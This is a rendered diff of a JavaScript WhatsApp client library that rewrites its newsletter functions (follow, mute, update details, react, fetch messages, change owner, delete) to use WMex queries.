const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
245
|
-
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
204
|
+
newsletterUnfollow: async (jid) => {
|
|
205
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW)
|
|
246
206
|
},
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
250
|
-
'user_id': user
|
|
251
|
-
});
|
|
207
|
+
newsletterFollow: async (jid) => {
|
|
208
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW)
|
|
252
209
|
},
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
210
|
+
newsletterMute: (jid) => {
|
|
211
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
|
|
212
|
+
},
|
|
213
|
+
newsletterUnmute: (jid) => {
|
|
214
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
|
|
215
|
+
},
|
|
216
|
+
newsletterUpdateName: async (jid, name) => {
|
|
217
|
+
return await newsletterUpdate(jid, { name });
|
|
218
|
+
},
|
|
219
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
220
|
+
return await newsletterUpdate(jid, { description });
|
|
221
|
+
},
|
|
222
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
223
|
+
const { img } = await generateProfilePicture(content);
|
|
224
|
+
return await newsletterUpdate(jid, { picture: img.toString("base64") });
|
|
225
|
+
},
|
|
226
|
+
newsletterRemovePicture: async (jid) => {
|
|
227
|
+
return await newsletterUpdate(jid, { picture: "" });
|
|
228
|
+
},
|
|
229
|
+
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
230
|
+
await query({
|
|
231
|
+
tag: "message",
|
|
232
|
+
attrs: {
|
|
233
|
+
to: jid,
|
|
234
|
+
...(reaction ? {} : { edit: "7" }),
|
|
235
|
+
type: "reaction",
|
|
236
|
+
server_id: serverId,
|
|
237
|
+
id: generateMessageTag()
|
|
261
238
|
},
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
239
|
+
content: [
|
|
240
|
+
{
|
|
241
|
+
tag: "reaction",
|
|
242
|
+
attrs: reaction ? { code: reaction } : {}
|
|
243
|
+
}
|
|
244
|
+
]
|
|
245
|
+
});
|
|
246
|
+
},
|
|
247
|
+
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
248
|
+
const messageUpdateAttrs = {
|
|
249
|
+
count: count.toString()
|
|
250
|
+
};
|
|
251
|
+
if (typeof since === "number") {
|
|
252
|
+
messageUpdateAttrs.since = since.toString();
|
|
253
|
+
}
|
|
254
|
+
if (after) {
|
|
255
|
+
messageUpdateAttrs.after = after.toString();
|
|
256
|
+
}
|
|
257
|
+
const result = await query({
|
|
258
|
+
tag: "iq",
|
|
259
|
+
attrs: {
|
|
260
|
+
id: generateMessageTag(),
|
|
261
|
+
type: "get",
|
|
262
|
+
xmlns: "newsletter",
|
|
263
|
+
to: jid
|
|
272
264
|
},
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
265
|
+
content: [
|
|
266
|
+
{
|
|
267
|
+
tag: "message_updates",
|
|
268
|
+
attrs: messageUpdateAttrs
|
|
269
|
+
}
|
|
270
|
+
]
|
|
271
|
+
});
|
|
272
|
+
return result;
|
|
273
|
+
},
|
|
274
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
275
|
+
const result = await query({
|
|
276
|
+
tag: "iq",
|
|
277
|
+
attrs: {
|
|
278
|
+
id: generateMessageTag(),
|
|
279
|
+
type: "set",
|
|
280
|
+
xmlns: "newsletter",
|
|
281
|
+
to: jid
|
|
281
282
|
},
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
}
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
state: metadataPath?.state?.type,
|
|
301
|
-
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
302
|
-
name: metadataPath?.thread_metadata?.name?.text,
|
|
303
|
-
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
304
|
-
description: metadataPath?.thread_metadata?.description?.text,
|
|
305
|
-
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
306
|
-
invite: metadataPath?.thread_metadata?.invite,
|
|
307
|
-
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
308
|
-
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
309
|
-
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
310
|
-
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
311
|
-
verification: metadataPath?.thread_metadata?.verification,
|
|
312
|
-
viewer_metadata: metadataPath?.viewer_metadata
|
|
283
|
+
content: [{ tag: "live_updates", attrs: {}, content: [] }]
|
|
284
|
+
});
|
|
285
|
+
const liveUpdatesNode = getBinaryNodeChild(result, "live_updates");
|
|
286
|
+
const duration = liveUpdatesNode?.attrs?.duration;
|
|
287
|
+
return duration ? { duration: duration } : null;
|
|
288
|
+
},
|
|
289
|
+
newsletterAdminCount: async (jid) => {
|
|
290
|
+
const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
|
|
291
|
+
return response.admin_count;
|
|
292
|
+
},
|
|
293
|
+
newsletterChangeOwner: async (jid, newOwnerJid) => {
|
|
294
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
|
|
295
|
+
},
|
|
296
|
+
newsletterDemote: async (jid, userJid) => {
|
|
297
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
|
|
298
|
+
},
|
|
299
|
+
newsletterDelete: async (jid) => {
|
|
300
|
+
await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
|
|
313
301
|
}
|
|
314
|
-
|
|
315
|
-
}
|
|
316
|
-
|
|
302
|
+
};
|
|
303
|
+
};
|
|
304
|
+
//=======================================================//
|